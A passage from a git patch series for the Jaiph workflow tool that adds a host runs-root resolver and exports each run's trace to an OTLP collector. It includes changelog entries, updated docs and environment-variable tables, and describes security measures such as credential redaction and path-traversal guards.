path to the equivalent host path. */ diff --git a/src/cli/shared/generation.ts b/src/cli/shared/generation.ts index 6e35fbac..77d97bed 100644 --- a/src/cli/shared/generation.ts +++ b/src/cli/shared/generation.ts @@ -9,6 +9,7 @@ import { checkDockerAvailable, prepareImage, selectMcpSandboxMode, + resolveDockerHostRunsRoot, type DockerRunConfig, type SandboxMode, } from "../../runtime/docker"; @@ -88,7 +89,7 @@ export function resolveStartupPosture( inputAbs: string, workspaceRoot: string, log: (line: string) => void, -): { dockerConfig: DockerRunConfig; sandboxMode: SandboxMode } { +): { dockerConfig: DockerRunConfig; sandboxMode: SandboxMode; hostRunsRoot: string } { const mod = state.graph.modules.get(inputAbs)!.ast; const startupEnv = resolveRuntimeEnv(state.callEnv.effectiveConfig, workspaceRoot, inputAbs); const dockerConfig = resolveDockerConfig(resolveModuleMetadata(mod, process.env)?.runtime, startupEnv); @@ -107,7 +108,22 @@ export function resolveStartupPosture( dockerEnabled: dockerConfig.enabled, }); for (const w of [...credPreflight.warnings, ...credPreflight.errors]) log(w); - return { dockerConfig, sandboxMode }; + // Host-visible runs root (same formula the runtime uses to place a run dir). + // Docker keeps it within the workspace so the bind mount can expose it; host + // mode allows an out-of-workspace absolute `JAIPH_RUNS_DIR`. + const hostRunsRoot = dockerConfig.enabled + ? resolveDockerHostRunsRoot(workspaceRoot, startupEnv) + : resolveHostRunsRoot(workspaceRoot, startupEnv); + return { dockerConfig, sandboxMode, hostRunsRoot }; +} + +/** Host runs root: absolute `JAIPH_RUNS_DIR` as-is, relative under the workspace, else `.jaiph/runs`. */ +function resolveHostRunsRoot(workspaceRoot: string, env: Record): string { + const configured = env.JAIPH_RUNS_DIR; + if (configured && configured.length > 0) { + return configured.startsWith("/") ? configured : join(workspaceRoot, configured); + } + return join(workspaceRoot, ".jaiph", "runs"); } /** diff --git a/src/cli/shared/usage.ts b/src/cli/shared/usage.ts index 710ff6cb..a9b71471 100644 --- a/src/cli/shared/usage.ts +++ b/src/cli/shared/usage.ts @@ -67,7 +67,9 @@ export function printUsage(): void { "jaiph serve:", " Serve the file's workflows as an HTTP API with a generated OpenAPI 3.1 document", " and Swagger UI at /docs. Exposure mirrors `jaiph mcp`. Runs are durable resources", - " under .jaiph/runs/, inspectable via GET /v1/runs/{id}. Set JAIPH_SERVE_TOKEN to", + " under .jaiph/runs/: inspect one with GET /v1/runs/{id}, stream its event journal", + " (NDJSON or SSE) via GET /v1/runs/{id}/events, and list/download published files via", + " GET /v1/runs/{id}/artifacts[/{path}]. Set JAIPH_SERVE_TOKEN to", " require a bearer token on /v1/*; binding a non-loopback --host without it is a", " startup error. JAIPH_SERVE_MAX_CONCURRENT (default 4) caps simultaneous runs.", " --host listen address (default: 127.0.0.1)", From a604ee33c58a5906d4b9cf9ce4c650064a8cba9b Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 24 Jul 2026 09:16:12 +0200 Subject: [PATCH 03/24] Feat: export run traces to an OTLP collector MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A completed run now exports one OpenTelemetry span tree (workflow → steps → prompts) to any OTLP/HTTP collector — a local otel-collector, Grafana Tempo, Honeycomb, Datadog — enabled by the standard OTEL_EXPORTER_OTLP_* environment variables. Export happens host-side after the run reaches terminal state by reading the run's already credential-redacted run_summary.jsonl, so nothing new crosses the sandbox boundary and no OTEL_* env is forwarded into the container. The new src/cli/telemetry/otlp.ts adds zero runtime dependencies (a node:https/node:http request is the whole transport). The pure runSummaryToOtlp() maps journal lines to a JSON ExportTraceServiceRequest with deterministic trace/span ids, and a single shared exportRunTelemetry() hook fires at every host terminal state (jaiph run completion and the shared workflow-call layer covering MCP and jaiph serve). Telemetry is never load-bearing: an unreachable or erroring collector produces exactly one stderr warning and leaves the run's exit code, output, and journal untouched. Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 4 + QUEUE.md | 35 --- README.md | 3 +- docs/_layouts/docs.html | 1 + docs/env-vars.md | 18 ++ docs/index.html | 5 + docs/observability.md | 103 +++++++++ integration/otlp-export.test.ts | 327 ++++++++++++++++++++++++++ src/cli/commands/run.ts | 13 +- src/cli/exec/call.ts | 18 +- src/cli/telemetry/otlp.test.ts | 266 ++++++++++++++++++++++ src/cli/telemetry/otlp.ts | 390 ++++++++++++++++++++++++++++++++ 12 files changed, 1139 insertions(+), 44 deletions(-) create mode 100644 docs/observability.md create mode 100644 integration/otlp-export.test.ts create mode 100644 src/cli/telemetry/otlp.test.ts create mode 100644 src/cli/telemetry/otlp.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 34b840b9..38cc63fb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,8 +4,12 @@ - **Serve workflows over HTTP:** run `jaiph serve ./tools.jh` to expose a file's workflows as an HTTP API with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, so a CI job, a Kubernetes deployment, or any HTTP client can invoke tested workflows and inspect their runs — no MCP client or local jaiph install required. Bearer-token auth, a concurrency cap, and the same durable `.jaiph/runs/` records as `jaiph run` are built in. +- **Export traces to an OTLP collector:** every run now exports one OpenTelemetry span tree (workflow → steps → prompts) to any OTLP/HTTP collector — a local `otel-collector`, Grafana Tempo, Honeycomb, Datadog — enabled by the standard `OTEL_EXPORTER_OTLP_ENDPOINT`. Export is host-side and end-of-run (it reads the run's already credential-redacted `run_summary.jsonl`), adds no runtime dependencies, and is never load-bearing: an unreachable or erroring collector produces exactly one stderr warning and leaves the run's exit code, output, and journal untouched. + ## All changes +- **Feat — OTLP trace export: one span tree per run, zero dependencies:** A completed run now exports as an OpenTelemetry trace to any OTLP/HTTP collector (a local `otel-collector`, Grafana Tempo, Honeycomb, Datadog), so operators running workflows in CI or as a service get a per-run latency breakdown and failure signal in a standard observability stack instead of only the local run dir. Export is **host-side and end-of-run**, in the new `src/cli/telemetry/otlp.ts` (zero runtime dependencies — a `node:https`/`node:http` request is the whole transport): after a run reaches terminal state the CLI reads *that run's* `run_summary.jsonl` and posts one trace. Nothing new crosses the sandbox boundary and no `OTEL_*` variable is forwarded into the container — the journal is complete (it carries the `WORKFLOW_*`/`PROMPT_*` records the live stderr stream omits), already credential-redacted by `RuntimeEventEmitter`, and host-visible in every sandbox mode (the run dir is a host mount); runs are minutes long, so end-of-run batching is the normal OTLP pattern anyway. The pure `runSummaryToOtlp(lines, meta)` maps journal lines + `{workflow, exitStatus, signal, serviceName, resourceAttributes}` to an OTLP/HTTP **JSON** `ExportTraceServiceRequest`: **trace id** = the run-id UUID with dashes stripped (32 hex, per the spec's JSON mapping), **span id** = first 16 hex of `sha256()` — deterministic, so re-exporting a run yields byte-identical ids. One **root span** `workflow ` per run (`WORKFLOW_START`→`WORKFLOW_END` timestamps, falling back to first/last event `ts`; status `ERROR` when the run exits nonzero or a signal killed it, else `OK`; each `LOGERR`/`LOGWARN` becomes a span event on it); one **step span** per `STEP_START`/`STEP_END` pair matched by event `id`, parented via `parent_id` (root when null), `kind: SPAN_KIND_INTERNAL`, attributes `jaiph.step.{kind,func,name,seq,depth,status,elapsed_ms}` plus the redacted `jaiph.step.out`/`jaiph.step.err` captures, span status `ERROR` on a nonzero step status; **prompt spans** as children of their `step_id` with `jaiph.prompt.{backend,model,status}`. A `STEP_START` with no matching `STEP_END` (a crash) closes at the last event's `ts` with status `ERROR`; ISO `ts` → `timeUnixNano` strings. Resource attributes: `service.name` from `OTEL_SERVICE_NAME` (default `jaiph`), the `OTEL_RESOURCE_ATTRIBUTES` pairs, plus `jaiph.version`, `jaiph.run_id`, `jaiph.workflow`, `jaiph.source`. **Enablement is standard OTEL env — no new `JAIPH_*`:** export runs iff `OTEL_EXPORTER_OTLP_TRACES_ENDPOINT` (used verbatim) or `OTEL_EXPORTER_OTLP_ENDPOINT` (base URL, `/v1/traces` appended) is set (traces-specific wins when both are); `OTEL_EXPORTER_OTLP_HEADERS` (comma-separated `k=v`) is applied; only `http/json` is spoken — any other `OTEL_EXPORTER_OTLP_PROTOCOL` (e.g. `grpc`) warns on stderr and skips rather than mis-speak a protocol. A single shared hook `exportRunTelemetry({runDir, workflow, exitStatus, signal, env})` fires at every host terminal state — `jaiph run` completion (`reportResult` in `src/cli/commands/run.ts`) and the shared workflow-call layer (`src/cli/exec/call.ts`, covering every MCP `tools/call` and `jaiph serve` invocation) — one choke point covering host, Docker snapshot, and inplace modes. **Telemetry is never load-bearing:** an unreachable or erroring collector (or the 10 s timeout) produces exactly one stderr warning line and leaves the run's exit code, output, and journal untouched — no retries, no queue. Tests: `src/cli/telemetry/otlp.test.ts` (fixture journals — trace id from run id, step parenting per `parent_id`, prompt child of `step_id` with backend/model, failed step → span status 2, nonzero exit → root status 2, ISO→nano strings, unmatched `STEP_START` closes ERROR at the last event time, deterministic ids across two invocations; endpoint-resolution precedence, header parsing, `http/json`-only guard) and `integration/otlp-export.test.ts` (a fake collector receives exactly one well-formed POST to `/v1/traces` after a `jaiph run` with the env set, and nothing with no OTEL env; a `500` and a connection-refused collector each leave exit `0` with exactly one stderr warning; a shared-call/MCP invocation triggers exactly one export per call; a credential echoed in step output appears in the payload only as `[REDACTED]`). `package.json` `dependencies` stays absent. Docs: new [Export traces to an OTLP collector](observability.md) how-to, a "Telemetry variables" section in [Environment variables](env-vars.md), a README feature bullet, and the features overview on `docs/index.html`. (Observability feedback `2026-07-23` — "OTEL + Sentry configurable would be the easiest way".) + - **Feat — `jaiph serve` run inspection: live event stream + artifact download:** A `jaiph serve` client can now watch what a run is doing while it executes and retrieve the files it publishes, not just read its terminal result. Three new bearer-gated endpoints (`src/cli/serve/runfiles.ts` + routes in `src/cli/serve/handler.ts`, documented in the generated OpenAPI via `src/cli/serve/openapi.ts`) read from the run's durable, host-visible run directory — the same `run_summary.jsonl` journal and `artifacts/` tree `jaiph run` writes. **`GET /v1/runs/{id}/events`** serves the run's `run_summary.jsonl`: by default the whole journal as `application/x-ndjson`, verbatim, then closes; with `Accept: text/event-stream` it switches to **Server-Sent Events** — `streamRunEventsSse` replays every existing line as `data: `, then follows the file as it appends (polling ~250 ms), emits a `:ka` keep-alive comment every 15 s, and closes with `event: end` once the server's run registry marks the run terminal (so it works identically for a still-running run and an already-terminal one: full replay plus an immediate `end`). **`GET /v1/runs/{id}/artifacts`** returns `{artifacts: [{path, size, mtime}, …]}` for every regular file under the run's `artifacts/` (recursive, `[]` when none). **`GET /v1/runs/{id}/artifacts/{path}`** downloads one file as `application/octet-stream` with a `Content-Disposition` filename. All three are `404` on an unknown run id and `401` unauthenticated. To reach a run that is *still executing* — whose dir is only recorded on its record at finalize — the server injects a `resolveRunDir` resolver (`src/cli/commands/serve.ts`) that falls back to scanning the host runs root for the run id via `findRunDir` (`src/cli/shared/errors.ts`), which also resolves the **Docker-mode** host-side run dir (the run dir is a host mount in every sandbox mode). The HTTP layer grew a streaming path: `ServeResponse` now carries an optional `bodyBuffer` (binary bodies — NDJSON journal, artifact bytes) and a `stream(target)` hook driven by `src/cli/serve/server.ts`'s `makeStreamTarget`, which wires SSE writes to the socket and flips `aborted` (stopping the follow loop) the moment the client disconnects. **Security:** the journal is served **verbatim** — the credential redaction `RuntimeEventEmitter` already applies (values of `*_API_KEY` / `*_TOKEN` / `*_SECRET` env vars → `[REDACTED]`) *is* the redaction guarantee — and the raw per-step `%06d-*.out` / `.err` capture files are unreachable **by construction**: `listArtifacts` walks only the `artifacts/` subtree (the captures live in the run-dir root), and downloads go through `resolveArtifactPath`, which is traversal-proof via three guards checked before any read — reject empty/NUL requests, lexical containment (`resolve()` collapses `..`/absolute paths and the result must sit under `artifacts/`), and **symlink** containment (`realpathSync` on both the artifacts dir and the candidate — an `artifacts/` symlink pointing outside is rejected without reading its target, while one pointing inside still serves). Tests: `src/cli/serve/runfiles.test.ts` (artifact listing skips `.out`/`.err` captures; the full traversal battery — `../`, absolute, empty/NUL, directory, escaping symlink rejected without reading the target, inside-pointing symlink served, and a capture-file symlink rejected; SSE replays a terminal journal as `data:` frames then `event: end`, and stops promptly on client disconnect), `integration/serve-server.test.ts` (SSE mid-run: replayed `WORKFLOW_START`, a `STEP_END` **before** the run is terminal, `event: end` + socket close after completion, and the concatenated `data:` payloads equal the final journal line set; NDJSON on a terminal run byte-matches the journal; unknown run → `404`; unauthenticated → `401`; a credential echoed by a run is absent and `[REDACTED]` present in the stream; artifacts list-then-download round-trips byte-identically and a traversal is `404`), and `e2e/tests/147_serve_http_api.sh` (NDJSON byte-matches `run_summary.jsonl`; artifact list + byte-identical download; URL-encoded `%2e%2e` traversal → `404`). Docs: "Watch a run as it executes" and "Download a run's artifacts" sections in [Serve workflows over HTTP](serve.md) (with the raw-captures non-exposure called out as a security property), and the three endpoint rows in the `jaiph serve` table in [CLI](cli.md). (Deployability feedback `2026-07-23` — "a UI on top to be able to inspect what it is doing"; contract in `design/2026-07-23-serve-http-api.md` § Events streaming.) - **Feat — `jaiph serve`: HTTP API with OpenAPI 3.1 + Swagger UI:** A new command turns a `.jh` file into a network-reachable, self-describing HTTP service, complementing `jaiph mcp` (which exposes the same workflows only over stdio JSON-RPC to a co-located parent). `jaiph serve [--host ] [--port ] [--workspace ] [--env KEY[=VALUE]]... ` (default `127.0.0.1:5247`) is dispatched from `src/cli/index.ts` and implemented in `src/cli/commands/serve.ts` + `src/cli/serve/`, hand-rolled on `node:http` with **no runtime npm dependencies** (project policy — `package.json` `dependencies` stays absent; the MCP server set the precedent). Startup mirrors `jaiph mcp`: graph load + `collectDiagnostics` (errors to stderr, exit `1`), `--env` resolved once via `resolveEnvPairs`, Docker config + image prepared once, credential pre-flight as warnings, and a sandbox-mode notice; all logs go to stderr and one startup line prints the listen URL and the `/docs` URL. Endpoints: `GET /` → `302 /docs`; unauthenticated `GET /healthz`, `GET /openapi.json`, `GET /docs`; and bearer-gated `GET /v1/workflows`, `POST /v1/workflows/{name}/runs` (async `202` + `Location`, or `?wait=true` → terminal `200`), `GET /v1/runs`, `GET /v1/runs/{id}`, `POST /v1/runs/{id}/cancel`. A run is a durable resource `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}` with `status ∈ running|succeeded|failed|cancelled`; **a workflow failure is not an HTTP error** — it comes back `200`/`202` with `status:"failed"` and the same failure narrative `jaiph mcp` returns. Errors use `{error:{code,message}}`: `400 E_BAD_ARGS`, `401 E_UNAUTHORIZED`, `404 E_NOT_FOUND`, `409 E_RUN_TERMINAL`, `413 E_BODY_TOO_LARGE` (1 MiB body cap), `415 E_UNSUPPORTED_MEDIA_TYPE` (non-`application/json` body), `429 E_TOO_MANY_RUNS`. Workflow exposure, naming, descriptions, and request-body schemas come from the shared `deriveTools` (`src/cli/mcp/tools.ts`) — identical rules to MCP (export-narrowing, route-target exclusion, `default` handling, required-string params, `additionalProperties:false`), with param validation mirroring MCP's `-32602` rules as HTTP `400`. **Auth:** bearer token from `JAIPH_SERVE_TOKEN` (env only, never argv), constant-time compared, required on all `/v1/*`; `/healthz`, `/openapi.json`, `/docs` stay unauthenticated (schema metadata only, a documented trade-off) — and binding a non-loopback `--host` without the token set is a startup error before any socket opens. **Limits:** `JAIPH_SERVE_MAX_CONCURRENT` (default `4`) caps simultaneous runs → `429`. `GET /openapi.json` returns OpenAPI **3.1.0** generated per request by the pure `buildOpenApi(tools, serverInfo)` (`src/cli/serve/openapi.ts`) — one concrete path per workflow (own `operationId`, `#`-comment description, MCP input schema as request body), the run-resource paths, run/error component schemas, and a bearer `securityScheme`. `GET /docs` serves a static Swagger UI shell (`src/cli/serve/docs.ts`) loading `swagger-ui-dist` from a CDN with a **pinned exact version + SRI `integrity` hashes + `crossorigin`** on both assets and `SwaggerUIBundle({url:"/openapi.json", persistAuthorization:true})` — no vendored assets, so `/docs` needs browser internet access and `/openapi.json` is the offline fallback (air-gap consequence recorded in the design doc). Execution reuses the MCP call layer, **moved** from `src/cli/mcp/call.ts` to `src/cli/exec/call.ts` (`McpCallResult` → `WorkflowCallResult`, caller now supplies `runId`, result extended with `{runDir?, exitStatus?, signal?}`); sandbox selection, `--env` passthrough, and cancellation (child kill + `stopDockerContainer`) work exactly as for MCP calls. The generation/hot-reload machinery (`loadState`, watch/rewatch, generation dirs) was extracted from `src/cli/commands/mcp.ts` into `src/cli/shared/generation.ts` and is now shared by both commands; editing a served source re-derives the workflow set and the OpenAPI document with no restart, and a superseded generation's scripts dir is deleted only after its in-flight runs finish (refcounted, since HTTP runs can outlive a reload). Shutdown: the first `SIGINT`/`SIGTERM` stops accepting and drains in-flight runs, a second signal cancels them, exit `0`. `jaiph mcp` behavior is unchanged after the extraction (its own tests prove it). Tests: `src/cli/serve/handler.test.ts` (injected-deps handler — unknown workflow `404`; missing / non-string / unexpected param `400`; cancel `202` → terminal `cancelled` with child + container teardown, cancel-on-terminal `409`; `429`/`413`/`415`; auth matrix incl. non-loopback-without-token exit `1`), `src/cli/serve/openapi.test.ts` (output passes a real OpenAPI 3.1 validator devDependency; one path per exposed workflow with the exact MCP-derived schema, covering the export-narrowing fixture), `src/cli/serve/docs.test.ts` (pinned version + `integrity` + `crossorigin` on both assets), `integration/serve-server.test.ts` (real server on port 0 — `wait=true` round-trips a `return` value into `result_text` with `status:"succeeded"`; async `202` + `Location` polled to the same terminal result; failing workflow → HTTP `200` with `status:"failed"`, `exit_status`, and `run dir:` in `result_text`; hot-reload surfaces a new workflow in `/openapi.json` and `/v1/workflows` while a pre-reload run still completes), and `e2e/tests/147_serve_http_api.sh` (wired into `e2e/test_all.sh`). Docs: new [Serve workflows over HTTP](serve.md) how-to, a `jaiph serve` section in [CLI](cli.md), `JAIPH_SERVE_TOKEN` and `JAIPH_SERVE_MAX_CONCURRENT` rows in [Environment variables](env-vars.md), `printUsage` in `src/cli/shared/usage.ts`, a README feature bullet, and the features overview on `docs/index.html`. (Deployability feedback `2026-07-23`; contract in `design/2026-07-23-serve-http-api.md`.) diff --git a/QUEUE.md b/QUEUE.md index 92226661..8c7d967a 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,41 +14,6 @@ Process rules: *** -## Feat: OTLP trace export — one span tree per run, zero dependencies #dev-ready - -**Source:** Observability feedback (2026-07-23): "OTEL + Sentry configurable would be the easiest way" to make jaiph observable in a company setting. This task is the OTEL half. - -**Problem:** A jaiph run already produces a complete, credential-redacted, hash-chained event timeline (`run_summary.jsonl`, written by `RuntimeEventEmitter`, `src/runtime/kernel/runtime-event-emitter.ts`), but it is invisible to standard observability stacks (Grafana/Tempo, Honeycomb, Datadog, any OTLP collector). Operators running workflows in CI or as a service have no traces, no latency breakdown per step/prompt, and no failure signal outside the local run dir. - -**Required behavior:** - -* **Architecture decision (pinned):** export happens **host-side, after the run completes, by reading the run's `run_summary.jsonl`** — not inside the runtime/emitter. Rationale: the journal is complete (the live stderr stream lacks `WORKFLOW_*` events), already redacted, and host-visible in every sandbox mode (the run dir is a host mount), so nothing new crosses the container boundary and no `OTEL_*` env forwarding into the sandbox is needed. Runs are minutes-long; end-of-run batching is the normal OTLP pattern anyway. -* New module `src/cli/telemetry/otlp.ts`, zero runtime dependencies (`node:https`/`node:http` request only): - * a **pure** function `runSummaryToOtlp(lines, meta)` mapping journal lines + `{workflow, exitStatus, signal, serviceName, resourceAttributes}` to an OTLP/HTTP **JSON** `ExportTraceServiceRequest`; - * a poster with a 10 s timeout. -* Mapping contract: - * `traceId` = the run id UUID with dashes stripped (32 hex chars — OTLP/JSON encodes trace/span ids as hex per the spec's JSON mapping); `spanId` = first 16 hex chars of `sha256()`. Deterministic: re-exporting a run yields identical ids. - * Root span per run: name `workflow `, from `WORKFLOW_START`/`WORKFLOW_END` timestamps (fallback: first/last event `ts`); status `ERROR` (code 2) when `exitStatus !== 0` or a signal terminated the run, else `OK`. - * One span per `STEP_START`/`STEP_END` pair (matched by event `id`), parented via the event's `parent_id` (root when null); `kind: SPAN_KIND_INTERNAL`; attributes: `jaiph.step.kind`, `jaiph.step.func`, `jaiph.step.name`, `jaiph.step.seq`, `jaiph.step.depth`, `jaiph.step.status`, `jaiph.step.elapsed_ms`; span status ERROR when the step status is nonzero. - * `PROMPT_START`/`PROMPT_END` pairs become child spans of their `step_id` with `jaiph.prompt.backend`, `jaiph.prompt.model`, `jaiph.prompt.status`. - * `LOGERR`/`LOGWARN` become span events on the root span. `ts` (ISO) → `timeUnixNano` as strings. A `STEP_START` with no matching `STEP_END` (crash) closes at the last event timestamp with status ERROR. - * Resource: `service.name` from `OTEL_SERVICE_NAME` (default `jaiph`), pairs from `OTEL_RESOURCE_ATTRIBUTES`, plus `jaiph.version`, `jaiph.run_id`, `jaiph.workflow`, `jaiph.source`. -* Enablement & endpoint (standard OTEL env, no new `JAIPH_*` unless genuinely needed — any that is added must get its `docs/env-vars.md` row, the parity lint enforces this): enabled iff `OTEL_EXPORTER_OTLP_TRACES_ENDPOINT` (used verbatim) or `OTEL_EXPORTER_OTLP_ENDPOINT` (base URL, `/v1/traces` appended) is set. `OTEL_EXPORTER_OTLP_HEADERS` (comma-separated `k=v`) applied. Only `http/json` is spoken: if `OTEL_EXPORTER_OTLP_PROTOCOL` is set to anything other than `http/json`, warn on stderr and skip export (respect the operator's explicit intent rather than mis-speak a protocol). -* Hook point: a single shared post-run function (e.g. `exportRunTelemetry({runDir, workflow, exitStatus, signal, env})`) invoked wherever a run reaches terminal state on the host — `jaiph run` completion and the shared workflow-call layer used by MCP tool calls (`src/cli/mcp/call.ts` or its current location). One choke point, all modes covered (host, Docker snapshot, inplace). -* **Failure semantics: telemetry is never load-bearing.** Unreachable/erroring collector → exactly one stderr warning line; the run's exit code, output, and journal are untouched. No retries, no queue. -* Docs: `docs/observability.md` how-to (enabling against a local `otel-collector`, one hosted-backend example, span-tree screenshot-level description of what maps to what); `docs/env-vars.md` gets a "Telemetry variables" section listing the consumed `OTEL_*` names (the page already covers non-`JAIPH_*` vendor variables); README bullet. - -Acceptance: - -* Unit tests on `runSummaryToOtlp` with fixture journals: trace id derived from run id; step span parented per `parent_id`; prompt span is a child of its `step_id` with backend/model attributes; failed step → span status 2; nonzero run exit → root status 2; ISO `ts` → correct `timeUnixNano` strings; unmatched `STEP_START` closes with ERROR at last event time; deterministic ids across two invocations. -* Unit tests: endpoint resolution (traces-specific verbatim vs generic + `/v1/traces`; traces-specific wins when both set), header parsing, `http/json`-only protocol guard (warn + skip on `grpc`). -* Integration test: a local fake-collector HTTP server receives exactly one well-formed POST to `/v1/traces` after a `jaiph run` with the env set; the same run with no OTEL env sends nothing; with the collector returning 500 (and separately: connection refused), the run's exit code is 0 and exactly one warning line appears on stderr. -* Integration test: an MCP `tools/call` (or shared-call-layer invocation) also triggers exactly one export per call. -* Redaction test: a credential value present in step output appears in the exported payload only as `[REDACTED]` (the export reads the journal, never raw captures). -* `package.json` `dependencies` remains absent/empty; `npm test` passes. - -*** - ## Feat: Sentry error reporting on failed runs #dev-ready **Source:** Observability feedback (2026-07-23): "OTEL + Sentry configurable". This task is the Sentry half: failed workflow runs become Sentry error events so operators get alerting/grouping without scraping run dirs. diff --git a/README.md b/README.md index 013a88ae..8053efe0 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ [jaiph.org](https://jaiph.org) · [Your first workflow](docs/first-workflow.md) · [Your first agent + sandboxed run](docs/first-agent-run.md) · [Install & switch versions](docs/setup.md) · [Agent Skill](https://raw.githubusercontent.com/jaiphlang/jaiph/refs/heads/main/docs/jaiph-skill.md) · [Architecture](docs/architecture.md) · [CLI](docs/cli.md) · [Contributing](docs/contributing.md) -> **Docs note:** The Jaiph documentation site follows the [Diátaxis](https://diataxis.fr/) framework. Tutorials: [Your first workflow](docs/first-workflow.md), [Your first agent + sandboxed run](docs/first-agent-run.md). How-to: [Install & switch versions](docs/setup.md), [Run in a Docker sandbox](docs/sandbox-run.md), [Authenticate agent backends](docs/agent-auth.md), [Configure backend & model](docs/configure-backend.md), [Add a hook](docs/hooks.md), [Use & publish a library](docs/libraries.md), [Save artifacts](docs/artifacts.md), [Write & run tests](docs/testing.md), [Serve workflows as MCP tools](docs/mcp.md), [Serve workflows over HTTP](docs/serve.md). Reference: [CLI](docs/cli.md), [Configuration](docs/configuration.md), [Grammar](docs/grammar.md), [Language](docs/language.md), [Environment variables](docs/env-vars.md). Explanation: [Why Jaiph](docs/why-jaiph.md), [Architecture](docs/architecture.md), [Sandboxing](docs/sandboxing.md), [Inbox & Dispatch](docs/inbox.md), [Async Handles](docs/spec-async-handles.md). Contributor: [Contributing](docs/contributing.md), [Agent Skill](https://raw.githubusercontent.com/jaiphlang/jaiph/refs/heads/main/docs/jaiph-skill.md). +> **Docs note:** The Jaiph documentation site follows the [Diátaxis](https://diataxis.fr/) framework. Tutorials: [Your first workflow](docs/first-workflow.md), [Your first agent + sandboxed run](docs/first-agent-run.md). How-to: [Install & switch versions](docs/setup.md), [Run in a Docker sandbox](docs/sandbox-run.md), [Authenticate agent backends](docs/agent-auth.md), [Configure backend & model](docs/configure-backend.md), [Add a hook](docs/hooks.md), [Use & publish a library](docs/libraries.md), [Save artifacts](docs/artifacts.md), [Write & run tests](docs/testing.md), [Serve workflows as MCP tools](docs/mcp.md), [Serve workflows over HTTP](docs/serve.md), [Export traces to an OTLP collector](docs/observability.md). Reference: [CLI](docs/cli.md), [Configuration](docs/configuration.md), [Grammar](docs/grammar.md), [Language](docs/language.md), [Environment variables](docs/env-vars.md). Explanation: [Why Jaiph](docs/why-jaiph.md), [Architecture](docs/architecture.md), [Sandboxing](docs/sandboxing.md), [Inbox & Dispatch](docs/inbox.md), [Async Handles](docs/spec-async-handles.md). Contributor: [Contributing](docs/contributing.md), [Agent Skill](https://raw.githubusercontent.com/jaiphlang/jaiph/refs/heads/main/docs/jaiph-skill.md). --- @@ -28,6 +28,7 @@ - **Tooling** — `jaiph compile`, `jaiph format`, `jaiph install` / `.jaiph/libs/` ([Use & publish a library](docs/libraries.md)), and optional `hooks.json` ([CLI](docs/cli.md), [Add a hook](docs/hooks.md)). - **MCP server** — `jaiph mcp ./tools.jh` serves a file's workflows as [MCP](https://modelcontextprotocol.io/) tools over stdio, so any MCP client (Claude Code, Cursor) can call tested Jaiph workflows as tools ([Serve workflows as MCP tools](docs/mcp.md)). - **HTTP API** — `jaiph serve ./tools.jh` serves the same workflows over HTTP with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, so any HTTP client (CI, Kubernetes, another service) can invoke them and inspect runs ([Serve workflows over HTTP](docs/serve.md)). +- **OpenTelemetry** — set the standard `OTEL_EXPORTER_OTLP_ENDPOINT` and each run exports one span tree (workflow → steps → prompts) to any OTLP collector — Grafana Tempo, Honeycomb, Datadog. Host-side, end-of-run, credential-redacted, zero new dependencies, never load-bearing ([Export traces to an OTLP collector](docs/observability.md)). ## Core components diff --git a/docs/_layouts/docs.html b/docs/_layouts/docs.html index 3db3c43b..01546c26 100644 --- a/docs/_layouts/docs.html +++ b/docs/_layouts/docs.html @@ -56,6 +56,7 @@
  • Write & run tests
  • Serve workflows as MCP tools
  • Serve workflows over HTTP
  • +
  • Export traces (OTLP)
  • Reference
  • CLI
  • Configuration
  • diff --git a/docs/env-vars.md b/docs/env-vars.md index 5aebaae7..a9e19ecd 100644 --- a/docs/env-vars.md +++ b/docs/env-vars.md @@ -117,6 +117,24 @@ An `--env`-forwarded variable is visible to trusted `run` script/workflow steps For the common "forward this host key" case, the [`trusted_envs`](configuration.md#trusted-envs) config key is the declarative in-file alternative to `--env`: a `.jh` file names the host keys its trusted `run` steps require (`trusted_envs = "GITHUB_TOKEN"`), they resolve from a pristine host-env snapshot, and the same reserved-key (`E_ENV_RESERVED`) and missing-value (`E_ENV_MISSING`) rules apply. An explicit `--env KEY=VALUE` still overrides the snapshot value for that key. Like `--env`, `trusted_envs` values reach trusted `run` steps only — never `prompt` subprocesses. +## Telemetry variables + +Jaiph reads the standard OpenTelemetry environment variables to export one trace +per run to an OTLP collector — there are **no `JAIPH_*` variables** for this +feature. These are consumed **host-side, after the run completes** (they are never +forwarded into the Docker sandbox), so they are not tracked by the `JAIPH_*` +source-parity harness above. Export is enabled iff a traces endpoint is set. See +[Export traces to an OTLP collector](observability.md). + +| Variable | Type | Default | Role | +|---|---|---|---| +| `OTEL_EXPORTER_OTLP_TRACES_ENDPOINT` | string (URL) | — | Traces endpoint, used verbatim. Enables export. Wins over the generic endpoint when both are set. | +| `OTEL_EXPORTER_OTLP_ENDPOINT` | string (URL) | — | Generic OTLP base URL; `/v1/traces` is appended. Enables export when the traces-specific one is unset. | +| `OTEL_EXPORTER_OTLP_HEADERS` | string (`k=v,k=v`) | — | Comma-separated headers applied to the export POST (for example an auth token). | +| `OTEL_EXPORTER_OTLP_PROTOCOL` | string (`http/json`) | `http/json` | Only `http/json` is spoken. Any other value (for example `grpc`) → warn on stderr and skip export. | +| `OTEL_SERVICE_NAME` | string | `jaiph` | `service.name` resource attribute on every exported span. | +| `OTEL_RESOURCE_ATTRIBUTES` | string (`k=v,k=v`) | — | Extra resource attributes. Jaiph also always adds `jaiph.version`, `jaiph.run_id`, `jaiph.workflow`, and `jaiph.source`. | + ## Installer and `jaiph use` These variables are consumed by `docs/install` (the installer shell script) and by `jaiph use` when it re-invokes the installer. They are **not** read from inside the Jaiph TypeScript source. diff --git a/docs/index.html b/docs/index.html index b0aaa6a2..e6c86ff5 100644 --- a/docs/index.html +++ b/docs/index.html @@ -569,6 +569,11 @@

    Runtime

    rel="noopener noreferrer">OpenAPI 3.1 document and a browser Swagger UI at /docs, so any HTTP client (CI, Kubernetes, another service) can invoke them and inspect runs. See Serve workflows over HTTP.

    +

